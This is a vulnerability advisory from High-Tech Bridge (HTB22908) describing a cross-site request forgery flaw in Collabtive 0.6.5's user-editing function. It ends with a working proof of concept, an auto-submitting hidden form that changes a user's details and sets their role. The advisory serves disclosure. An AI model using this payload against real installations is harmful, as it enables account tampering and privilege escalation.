Vulnerability ID: HTB22908 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_collabtive.html Product: Collabtive Vendor: Open Dynamics ( http://collabtive.o-dyn.de/ ) Vulnerable Version: 0.6.5 and probably prior versions Vendor Notification: 17 March 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "manageuser.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin.php?action=edituser&id=USERID"; method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="name" value="username"> <input type="hidden" name="email" value="email@xxxxxxxxxxx"> <input type="hidden" name="locale" value="en"> <input type="hidden" name="admin" value=""> <input type="hidden" name="newpass" value=""> <input type="hidden" name="repeatpass" value=""> <input type="hidden" name="role" value="1"> </form> <script> document.main.submit(); </script>
